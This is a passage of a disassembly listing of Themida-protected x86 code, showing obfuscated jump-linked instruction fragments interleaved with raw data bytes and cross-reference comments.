; ---------------------------------------------------------------------------


loc_555AA0:				; CODE XREF: Themida_:00556876j
		pop	ebp
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_556490
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 24248B24h, 26B85052h, 0C10B8D66h,	0D0F707E8h
		dd 59ABE9h
		db 0
byte_555AD5	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:0054FD74o
		dd 0FFA336E9h, 42E947FFh, 8100004Eh, 4ECh, 241C8900h, 0C41BC3BBh
		dd 3DBE563Ch, 8146A17Dh, 8A7DEFC6h, 3479E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B02:				; CODE XREF: Themida_:0055590Fj
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	4E1Eh
		jmp	loc_554650
; ---------------------------------------------------------------------------


loc_555B27:				; CODE XREF: Themida_:0055518Ej
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_5545C1
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0C104C483h, 4AE905E2h, 53000013h, 89C18951h,	1E44E9CBh
		dd 0E95C0000h, 537Fh, 1696F581h, 0C5814D13h, 0CDE8CBBEh
		dd 685DE829h, 3CF9h, 0BE243489h, 686B50D6h, 0C06C1A05h
		dd 250054Dh, 0F0294AC3h, 53EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_555B85:				; CODE XREF: Themida_:005568A5j
		mov	ebp, 716E6CA5h
		sub	ebp, 45FE657Ch
		not	ebp
		push	edi
		mov	edi, 520D4920h
		sub	ebp, edi
		pop	edi
		jmp	loc_555165
; ---------------------------------------------------------------------------
		dd 5DEB0159h, 50E4F381h, 0EA811E74h, 192722FDh,	0C281DA29h
		dd 192722FDh, 0DBC2815Bh, 16BAA06h, 0DBEA81C2h,	816BAA06h
		dd 8524ADC2h, 29FAE927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555BD2:				; CODE XREF: Themida_:0055C1A0j
		xor	dword ptr [esp], 9811B78h
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_551F9E
; ---------------------------------------------------------------------------
		dd 84F681h, 0BB533295h,	0
aBXWI5xdsti	db '│цкxи~W©╘5xDИtI',0
		dd 4C48300h, 0B151D828h, 0D273E972h, 74FFFFFFh,	0C8B0424h
		dd 3F6CE924h, 0C4810000h, 2, 241C8B66h,	2C481h,	89500000h
		dd 405E0h, 22D0000h, 87000000h,	665C2404h, 66241C89h, 0DC19E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555C46:				; CODE XREF: Themida_:00558648j
		mov	edx, [esp]
		jmp	loc_55302B
; ---------------------------------------------------------------------------
		dw 0DDF6h
		dd 0FFBB84E9h, 32BA68FFh, 24890000h, 24048124h,	4, 0FFEBD7E9h
		dd 0F2015DFFh, 0FFBD24E9h, 241433FFh, 33241431h, 248B2414h
		dd 2434FF24h, 4B5BE958h, 0F5090000h, 0ADCD815Eh, 0F723901Dh
		dd 0B4F581DDh, 31CE84B0h, 0C7815DEFh, 83DEC70Ah, 636168h
		dd 24148900h, 3D34E9h, 99BB5300h, 817A123Fh, 0E01241E3h
		dd 60E38151h, 812A7136h, 5E4510CBh, 0EB814303h,	0D3C546E8h
		dd 57E9DF21h, 52000041h, 7488EE88h, 0FF5A0187h,	83592434h
		dd 2CE904C4h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555CE7:				; CODE XREF: Themida_:00550342j
		dec	ebp
		xor	ebp, 259232B0h
		jmp	loc_55657A
; ---------------------------------------------------------------------------
byte_555CF3	db 0FFh			; DATA XREF: Themida_:0054FB8Co
		dd 48B2434h, 0E0895024h, 405h, 40500h, 4870000h, 0EE2E924h
		dd 0E90000h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D13:				; CODE XREF: Themida_:00559F59j
		pop	ecx
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], dx
		push	7274h
		mov	[esp], ecx
		push	eax
		mov	al, 24h
		mov	ch, al
		mov	eax, [esp]
		jmp	loc_55255E
; ---------------------------------------------------------------------------
		dd 4300F681h, 0C6811837h, 557F10D9h, 59D2C281h,	0F201117Ch
		dd 0FFFB73E9h, 0FFE728FFh, 0E9582434h, 0FFFFCCBBh, 0C075E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D6A:				; CODE XREF: Themida_:0055BB9Cj
		add	edi, 5D334F8Dh
		add	edi, 14E950B3h
		pop	edx
		jmp	loc_557449
; ---------------------------------------------------------------------------


loc_555D7C:				; CODE XREF: Themida_:0054FE64j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_551669
; ---------------------------------------------------------------------------
		db 81h
		dd 3F5680C7h, 0C7835957h, 243C8702h, 6624248Bh,	0E924048Bh
		dd 0FFFFDD91h, 0BDBE5652h, 0BA0CC434h, 0CC434B9h, 41E9F231h
		dd 0BB000021h, 3983256Ah, 2165C781h, 0DF012951h, 2165EF81h
		dd 835B2951h, 14E901EFh, 0C1000040h, 0ED8102E5h, 0E069AD28h
		dd 242C8155h, 6F872645h, 26450558h, 2C8B6F87h, 4C48324h
		dd 3B57E9h
		db 0
; ---------------------------------------------------------------------------


loc_555DF1:				; CODE XREF: Themida_:005520E8j
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		add	dword ptr [esp], 475745E7h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5516FE
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 6C4E95Fh, 0FB870000h, 0B3FAF381h, 0DF01EF11h
		dd 4B8505Bh, 29000000h,	596858C7h, 89000063h, 74FF243Ch
		dd 8F5F0424h, 248B2404h, 24048924h, 0FF9FC6E9h,	4D63B8FFh
		dd 20D04E4h, 484C4009h,	6CE94848h, 83FFFFC4h, 0A4E904C4h
		dd 6600005Eh, 6607E7C1h, 6602E7C1h, 2CFBC781h, 40C38166h
		dd 0FB016670h, 40EB8166h, 29665F70h, 0E9555BD8h, 5C89h
; ---------------------------------------------------------------------------


loc_555E8C:				; CODE XREF: Themida_:00557A61j
		push	ecx
		mov	ch, 0DAh
		neg	ch
		add	ch, 9
		add	bh, 0D9h
		add	bh, 2Ch
		sub	bh, ch
		sub	bh, 2Ch
		push	cx
		mov	ch, 0D9h
		jmp	loc_550CA0
; ---------------------------------------------------------------------------
		dd 0BD55F701h, 2DB748C1h, 0FFF1B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555EB5:				; CODE XREF: Themida_:00554AA1j
		mov	[esp], edx
		mov	dh, 54h
		jmp	loc_553A2A
; ---------------------------------------------------------------------------


loc_555EBF:				; CODE XREF: Themida_:00551298j
		pop	eax
		inc	edx
		add	edx, 7861050Bh
		add	edx, 1D496AAEh
		add	edx, 4D4C4C17h
		jmp	loc_5502CD
; ---------------------------------------------------------------------------
dword_555ED8	dd 240C8B66h, 0F940E951h ; DATA	XREF: Themida_:0054FD98o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555EE2:				; CODE XREF: Themida_:0055331Aj
		xor	[edx], ecx
		pop	edx
		add	ecx, 1
		xchg	ecx, [edi+24h]
		jmp	loc_55B342
; ---------------------------------------------------------------------------


loc_555EF3:				; CODE XREF: Themida_:00559A53j
		mov	ebp, 1CE722A3h
		and	ebp, 0D321793h
		or	ebp, 5FC85A6Eh
		sub	ebp, 6DC44244h
		jmp	loc_550B7D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BB53h, 0C3010000h, 485C68h,	24048900h, 0F6E9C889h
		dd 80000048h, 0E6E91AC3h, 0B6000016h, 0FFF18875h, 148B2434h
		dd 4C48124h, 81000000h,	4C4h, 0E9C82800h, 3875h, 3BEE961h
		dd 0D5890000h, 0E9EA895Ah, 6DDh, 43E9D7F7h, 58000036h
		dd 0FFEF8347h, 0D1EF814Fh, 89607973h, 0CF015FF9h, 0FFAA7BE9h
		dd 0E9EDD1FFh, 1915h, 0EEA74ABBh, 5AD3297Fh, 3C61E9h, 58C62900h
		dd 0C681DE01h, 67C5019Dh, 2434875Bh, 6624248Bh,	6866E9F7h
		dd 89662E5Dh, 50662414h, 9E61E99Ch, 0E95EFFFFh,	0C0Bh
; ---------------------------------------------------------------------------


loc_555FB8:				; CODE XREF: Themida_:00555157j
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	3969h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55739F
; ---------------------------------------------------------------------------


loc_555FE7:				; CODE XREF: Themida_:00553E91j
					; Themida_:00556CC2j
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_553CC3
; ---------------------------------------------------------------------------
		dd 4EA81h, 14870000h, 24248B24h, 24048F54h, 5416E9h, 51E58900h
		dd 0B55583B9h, 0C703E932h, 0C780FFFFh, 81F78031h, 0FFC936E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556035:				; CODE XREF: Themida_:00554F7Bj
		sub	ebx, 1
		xor	ebx, 34EC1CE4h
		jmp	loc_5558DC
; ---------------------------------------------------------------------------
aYs9		db 'YИ',9,'9',0
		db 0
; ---------------------------------------------------------------------------


loc_556049:				; CODE XREF: Themida_:00551CCEj
		push	edx
		push	eax
		mov	al, 8Eh
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, al
		jmp	loc_5574E0
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 6
		dd 5244CF81h, 0D7F71F09h, 0BB53DFF7h, 2D263AE9h, 7247C381h
		dd 0D3F75E96h, 0F9E3814Bh, 81581B17h, 4640C1EBh, 0AC38130h
		dd 31A68F7Ah, 52FEE9DFh, 0C6FE0000h, 0FFB04AE9h, 1B8FFh
		dd 72E90000h
		db 0A6h, 2 dup(0FFh)
byte_5560A3	db 0FFh			; DATA XREF: Themida_:0054FB60o
		dd 48B1C77h, 8B545624h,	89562434h, 4C681E6h, 0E9000000h
		dd 60AAh
; ---------------------------------------------------------------------------


loc_5560BC:				; CODE XREF: Themida_:00552156j
		push	edx
		mov	edx, 0CA2A7C92h
		jmp	loc_5556F5
; ---------------------------------------------------------------------------


loc_5560C7:				; CODE XREF: Themida_:00556CE4j
		add	esp, 4
		sub	esi, 0E8619460h
		jmp	loc_553A5F
; ---------------------------------------------------------------------------
		dd 66F1F65Ch, 66CCB60Fh, 0E961F368h, 1AC8h, 0C8B665Ch
		dd 0E2895224h, 0CEBE5657h, 4E5C2260h, 60C9EE81h, 59E95C22h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556103:				; CODE XREF: Themida_:005515E4j
		sub	ebp, edx
		sub	ebp, 5254A41h
		pop	edx
		jmp	loc_55699C
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 6624248Bh, 0E924048Bh, 0FFFFC822h
; ---------------------------------------------------------------------------


loc_556120:				; CODE XREF: Themida_:005594F3j
		add	edi, 4
		add	edi, 4
		jmp	loc_55A707
; ---------------------------------------------------------------------------


loc_556131:				; CODE XREF: Themida_:005549C0j
		pop	eax
		sub	ebx, 1
		shr	ebx, 4
		push	0
		sub	[esp], ebx
		pop	ebx
		jmp	loc_5506C7
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 78880424h, 0E95A0FE4h, 5BC2h, 12375ABEh, 1B35BA15h
		dd 0F2312146h, 4E2815Eh, 817BBA7Bh, 0EFD800C2h,	8BD101CFh
		dd 89532414h, 0CCBE56E3h, 816C6E63h, 6E63C8EEh,	0B721E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556186:				; CODE XREF: Themida_:00551670j
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
aBsD		db '│И',9,'йd',0
		db 1, 0CEh, 0E9h
		dd 4FE7h
; ---------------------------------------------------------------------------


loc_556198:				; CODE XREF: Themida_:0055343Cj
		xchg	ebp, edi
		add	edi, 3FD0DCEBh
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_559E33
; ---------------------------------------------------------------------------
		db 81h
		dd 811D7AEEh, 0E9D6F704h, 0FFFFA5F7h, 0C281E289h, 4, 8704C283h
		dd 575C2414h, 2D46E9h
		db 0
byte_5561D1	db 0ADh, 2Dh, 0B3h	; DATA XREF: Themida_:0054FC9Co
		dd 13EFB16h, 4EC81D8h, 89000000h, 0B368241Ch, 0FF3EFB16h
		dd 1C8B2434h, 4C48324h,	0E9E08950h, 0FFFFA541h
; ---------------------------------------------------------------------------


loc_5561F8:				; CODE XREF: Themida_:00556560j
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55BF59
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 0C2DB924h, 0D1F77110h, 5241D9F7h
		dd 0FFDE69E9h, 0E9DEF7FFh, 0FFFFFF8Bh, 159CE89h, 0FF515EF1h
		dd 0E9042474h, 0FFFFC879h, 685BD901h, 31CCh, 0E9241C89h
		dd 387Fh, 4C281h, 14870000h, 24248B24h,	0E9E28952h, 51A7h
		dd 9A3940B9h, 3CE98173h, 1739A39h, 1251E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55626A:				; CODE XREF: Themida_:005599C3j
		push	ebp
		mov	ebp, 10363087h
		add	eax, ebp
		jmp	loc_5501B1
; ---------------------------------------------------------------------------


loc_556277:				; CODE XREF: Themida_:00554667j
		sub	ebx, 73A10AA2h
		add	ebx, edi
		add	ebx, 73A10AA2h
		sub	ebx, 4B5A0BB9h
		push	edx
		mov	edx, esp
		jmp	loc_55AEC9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9582434h, 0FFFFE430h, 4C581h, 2C870000h, 68E95C24h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5562AB:				; CODE XREF: Themida_:0055523Dj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_553401
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 128FE957h, 0D1F70000h, 0CAF18141h, 813E3F1Ch, 3832DF1h
		dd 0E28952A8h, 4C281h, 0EA830000h, 24148704h, 241C895Ch
		dd 0FFECAAE9h, 2CC82CFFh, 0E9D828E5h, 2579h
		db 0C3h
byte_556311	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FB30o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_559A27
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 109CE930h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55632E:				; CODE XREF: Themida_:005552B0j
		mov	esi, 40D716D8h
		or	eax, esi
		pop	esi
		add	eax, 0F66ED60Ah
		sub	ebx, eax
		pop	eax
		sub	ebx, eax
		add	ebx, 3D6E15E9h
		jmp	loc_5547C0
; ---------------------------------------------------------------------------


loc_55634B:				; CODE XREF: Themida_:005545EDj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	20D4h
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_55B2DD
; ---------------------------------------------------------------------------


loc_556366:				; CODE XREF: Themida_:0055BD5Aj
		push	esi
		mov	esi, 13C5427Bh
		add	esi, 56B8324Dh
		neg	esi
		and	esi, 4B9914E9h
		push	eax
		jmp	loc_55B44A
; ---------------------------------------------------------------------------
		dd 0E9240489h, 434Ch, 0AEAEF581h, 0C3E93C6Fh
		db 13h,	2 dup(0)
byte_556393	db 66h			; DATA XREF: Themida_:0054FC70o
		dd 68240C8Bh, 255h, 0E9243489h,	555Ch
; ---------------------------------------------------------------------------


loc_5563A4:				; CODE XREF: Themida_:00551704j
		mov	ecx, 1E4F5816h
		push	edx
		mov	edx, 62ED4D97h
		and	ecx, edx
		pop	edx
		add	ecx, 58480CA5h
		not	ecx
		push	edi
		push	ebx
		jmp	loc_55B515
; ---------------------------------------------------------------------------
aI4S		db '┴4$И╥/',0
		db 0
; ---------------------------------------------------------------------------


loc_5563C9:				; CODE XREF: Themida_:005575BFj
		inc	eax
		sub	eax, 0DE8392Ah
		sub	eax, 69853CA3h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_55366C
; ---------------------------------------------------------------------------
		db 9, 4, 24h
aSe_0		db '°ИE ',0
		align 2
		dw 505Bh
		dd 0E288EC88h, 86E95958h, 0F7FFFFF2h, 0F286E9DEh, 0EB81FFFFh
		dd 4, 5C241C87h, 0FF241C89h, 8B042474h,	8952241Ch, 4C281E2h
		dd 51000000h, 0FFF0D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556425:				; CODE XREF: Themida_:0055571Bj
		push	495Dh
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5572EA
; ---------------------------------------------------------------------------
		db 5Eh,	0B8h, 6Dh
		dd 2967B75Fh, 0C3015FF8h, 68555258h, 4F90h, 0BA241489h
		dd 2, 0FFFAF9E9h, 0E9FE89FFh, 3E6Ch, 24048F5Dh,	2434895Ch
		dd 4BEh, 0D0BBE900h, 3487FFFFh,	0C3305C24h, 0FFE6D4E9h
		dd 4EC81FFh, 89000000h,	0B6BB241Ch, 0E977985Ch,	4AD8h
; ---------------------------------------------------------------------------


loc_556490:				; CODE XREF: Themida_:00555AB6j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_553A32
; ---------------------------------------------------------------------------


loc_55649F:				; CODE XREF: Themida_:005577FAj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		push	6BC2h
		jmp	loc_5542D1
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0DB33ADC2h, 81C20117h, 0DB33ADEAh, 24048B17h, 4C481h
		dd 0C2830000h, 24148702h, 1FFAE9h, 244C0100h, 0BF1EE904h
		dd 0C781FFFFh, 4, 3304C783h, 3C31243Ch,	243C3324h, 2424D35Ch
		dd 0FF9916E9h, 45E952FFh
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556503:				; CODE XREF: Themida_:00552590j
		not	ebx
		jmp	loc_552EA0
; ---------------------------------------------------------------------------
		dw 505Fh
		dd 0F5152FB8h, 0E9C5015Ch, 0FFFFDCAEh, 4B951h, 0CA010000h
		dd 4417E9h
		db 0
; ---------------------------------------------------------------------------


loc_556525:				; CODE XREF: Themida_:0055013Bj
		sub	dword ptr [edi+24h], 0D73DABBAh
		jmp	loc_557BC0
; ---------------------------------------------------------------------------
		db 1, 0C5h, 58h
		dd 192CE950h, 0BF570000h, 0E9F7E47Ah, 3C8BF889h, 0BB55E924h
		dd 0C483FFFFh, 0D8296604h, 0FFB0FFE9h, 4C483FFh, 0FFA15FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55655D:				; CODE XREF: Themida_:005595F4j
		add	eax, 4
		jmp	loc_5561F8
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 56000000h, 7E5354BEh, 1C68327h, 5567E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55657A:				; CODE XREF: Themida_:00555CEEj
		push	0
		sub	[esp], ebp
		jmp	loc_55AC29
; ---------------------------------------------------------------------------
		db 81h
		dd 2C7h, 74FF5700h, 34FF0424h, 89575F24h, 4C781E7h, 56000000h
		dd 4BEh, 24EF8100h, 1601668h, 24C781F7h, 5E601668h, 5C243C87h
		dd 0E924048Fh, 0FFFFBB20h
; ---------------------------------------------------------------------------


loc_5565C0:				; CODE XREF: Themida_:00557ED8j
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_5555C8
; ---------------------------------------------------------------------------
		dd 350D5305h, 68942D63h, 0CB2D5FB6h, 0E9FF627Fh, 340Dh
		dd 45EDD14Dh, 0FFFD8FE9h, 5CC281FFh, 51133D6Dh,	8151D189h
		dd 543A2404h, 0E5E913EBh, 89000057h, 74FF2414h,	148B0424h
		dd 4C48124h, 8F000000h,	205C2404h, 0E99C2404h, 0FFFF97E7h
; ---------------------------------------------------------------------------


loc_55662C:				; CODE XREF: Themida_:0055292Dj
		not	esi
		xor	esi, 8525B5AFh
		jmp	loc_5595DB
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0D3h
		dd 241C875Ah, 0FFFA93E9h, 48B66FFh, 64C06824h, 2C890000h
		dd 1BA9E924h, 0BF570000h, 9A6FECFCh, 0FFEB1AE9h
		db 0FFh
byte_556661	db 0ADh, 83h, 7Fh	; DATA XREF: Themida_:0054FD28o
		dd 840F0020h, 4705h, 3B51E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556672:				; CODE XREF: Themida_:005525A5j
		add	eax, edx
		jmp	loc_551E53
; ---------------------------------------------------------------------------


loc_556679:				; CODE XREF: Themida_:0055BF48j
		not	dword ptr [esp]
		pop	edi
		xchg	edi, ebx
		jmp	loc_552F3B
; ---------------------------------------------------------------------------
		dd 66152D66h, 83240C8Bh, 0A6804C4h, 89000034h, 0BB66241Ch
		dd 0F3E96F2Fh, 81000032h, 0C105A9C6h, 81C6013Eh, 0C105A9EEh
		dd 0B8C6813Eh, 0E947926Bh, 2EC0h, 286DC380h, 335AE9C3h
		dd 0FDB60000h, 507FC680h, 0FFD130E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5566CD:				; CODE XREF: Themida_:005574FBj
		mov	[esp], ebx
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, edi
		mov	edx, ebp
		jmp	loc_5500D3
; ---------------------------------------------------------------------------


loc_5566E4:				; CODE XREF: Themida_:005549DCj
		push	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_55B2A6
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 242C3124h, 8B242C33h, 3CD22424h, 0CE99C24h, 5AFFFF97h
		dd 2005E9h, 48F5C00h, 24248B24h, 24048966h, 0FF96F6E9h
		dd 0D7B050FFh, 0C630CBB6h, 0E924048Bh, 0FFFFFDD1h
; ---------------------------------------------------------------------------


loc_55672C:				; CODE XREF: Themida_:0055904Ej
		xchg	ecx, [esp]
		pop	esp
		pop	eax
		push	7788h
		mov	[esp], ebx
		mov	ebx, 55680698h
		push	ebp
		push	eax
		push	56BD4620h
		pop	eax
		xor	eax, 3FAB557Ch
		push	edi
		mov	edi, eax
		mov	ebp, edi
		pop	edi
		pop	eax
		jmp	loc_55716F
; ---------------------------------------------------------------------------
		db 81h
		dd 0A026D9E9h, 81C12957h, 0A026D9C1h, 0E9515857h, 0FFFFB354h
; ---------------------------------------------------------------------------


loc_55676C:				; CODE XREF: Themida_:00551E4Ej
		pop	edx
		add	edx, 4
		jmp	loc_552CED
; ---------------------------------------------------------------------------
		dd 2016ED80h, 0B65259EBh, 5EEC079h, 0E9D8C680h,	733h, 6B9CCF81h
		dd 0D7F73D12h, 491CEF81h, 5AE96129h, 66000020h,	66C8B60Fh
		dd 68E99C51h, 81FFFF96h, 0BD44B0CBh, 21E38140h,	0E943B056h
		dd 0FFFFEB27h, 0E922C780h, 0FFFFEFD7h, 405h, 74FF5000h
		dd 48B0424h, 4C48124h, 8F000000h, 0D5E92404h, 8000004Fh
		dd 0CDFEECEDh, 1FB25266h, 0FFA471E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5567ED:				; CODE XREF: Themida_:005544DEj
		pop	edi
		push	ecx
		mov	ecx, 242D3571h
		not	ecx
		sub	ecx, 7221263Fh
		sub	ecx, 77D25217h
		shl	ecx, 7
		xor	ecx, 0D79A7F26h
		jmp	loc_55259A
; ---------------------------------------------------------------------------


loc_556810:				; CODE XREF: Themida_:00552559j
		push	esi
		jmp	loc_555818
; ---------------------------------------------------------------------------
word_556816	dw 30ACh		; DATA XREF: Themida_:0054FBD0o
		dd 0BEB353D8h, 0F380DBF6h, 5EBC0DDh, 8096B252h,	0EB80AEC2h
		dd 80D32894h, 805A94C3h, 515383F3h, 4DB74CB1h, 48F4E9h
		dd 0F1015F00h, 3FB1E981h, 0DE93C8Ch, 81FFFFE0h,	5C254DEAh
		dd 0E9FA0146h, 0FFFFBF6Eh
; ---------------------------------------------------------------------------


loc_55685C:				; CODE XREF: Themida_:0055AD87j
		add	esp, 4
		and	ebx, 4EB100ACh
		sub	ebx, 45D15AA4h
		push	ebp
		mov	ebp, 0FCCE855Ch
		xor	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_555AA0
; ---------------------------------------------------------------------------
byte_55687B	db 8Bh			; DATA XREF: Themida_:0054FDC8o
		dd 54552404h, 50242C8Bh, 0BE56E089h, 4,	55EF001h, 4, 5C240487h
		dd 75FDBA52h, 0E952025Dh, 0FFFFB8F4h
; ---------------------------------------------------------------------------


loc_5568A4:				; CODE XREF: Themida_:00554809j
		push	ebp
		jmp	loc_555B85
; ---------------------------------------------------------------------------
		dw 433h
aS4_0		db '$И+4',0
		align 2
		dw 248Bh
		dd 0B30F6624h, 0E99C2404h, 0FFFF9553h
; ---------------------------------------------------------------------------


loc_5568C0:				; CODE XREF: Themida_:00550F58j
		shl	ecx, 5
		neg	ecx
		add	ecx, 443BD148h
		add	esi, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_5525AA
; ---------------------------------------------------------------------------
		dd offset dword_581368
		align 2
		dw 3489h
		dd 2434FF24h, 4C48159h,	0E9000000h, 50E2h
; ---------------------------------------------------------------------------


loc_5568EC:				; CODE XREF: Themida_:0055767Fj
		push	576h
		jmp	loc_557079
; ---------------------------------------------------------------------------


loc_5568F6:				; CODE XREF: Themida_:00550B4Dj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	cx
		push	edx
		jmp	loc_5512E9
; ---------------------------------------------------------------------------
		dd 0DAB353h, 0EF805BD8h, 80C700BBh, 48BBBC7h, 4C48324h
		dd 34FFF828h, 1B6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556922:				; CODE XREF: Themida_:0055489Bj
		pop	esp
		jmp	loc_55B535
; ---------------------------------------------------------------------------


loc_556928:				; CODE XREF: Themida_:00551B60j
		add	dword ptr [eax], 1
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4


loc_556940:				; CODE XREF: Themida_:00557486j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 37A56E02h
		shr	ecx, 8
		not	ecx
		xor	ecx, 0FFC85A95h
		add	ebx, 4E9A6C0Dh
		add	ebx, ecx
		sub	ebx, 4E9A6C0Dh
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_552998
; ---------------------------------------------------------------------------
dword_556970	dd 8B2434FFh, 0C483240Ch, 0B6685304h, 89000032h, 4812424h
					; DATA XREF: Themida_:0054FD50o
		dd 424h, 241C8B00h, 51E18951h, 2318E9h
		db 0
; ---------------------------------------------------------------------------


loc_556995:				; CODE XREF: Themida_:00559593j
		add	ebx, ecx
		jmp	loc_558280
; ---------------------------------------------------------------------------


loc_55699C:				; CODE XREF: Themida_:0055610Cj
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_553E01
; ---------------------------------------------------------------------------


loc_5569C7:				; CODE XREF: Themida_:00553294j
		push	ebx
		push	ebp
		jmp	loc_55109F
; ---------------------------------------------------------------------------


loc_5569CE:				; CODE XREF: Themida_:0055B7C2j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_55404C
		push	eax
		push	ecx
		push	eax
		mov	eax, 2711289Ch
		shl	eax, 5
		jmp	loc_557A38
; ---------------------------------------------------------------------------


loc_5569F6:				; CODE XREF: Themida_:005597D6j
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		jmp	loc_551128
; ---------------------------------------------------------------------------


loc_556A08:				; CODE XREF: Themida_:0055C02Cj
		sub	ecx, 1B9FB4ABh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		pop	esi
		jmp	loc_558CC4
; ---------------------------------------------------------------------------
		dd 5EEA68h, 243C8900h, 0FFF21CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556A39:				; CODE XREF: Themida_:00559146j
		push	ecx
		mov	cl, 7Ah
		jmp	loc_55842B
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5104C483h, 5250E189h, 0D16CF5BAh, 0EE38B827h, 0D001E700h
		dd 0FFBA52E9h
		db 0FFh
; ---------------------------------------------------------------------------


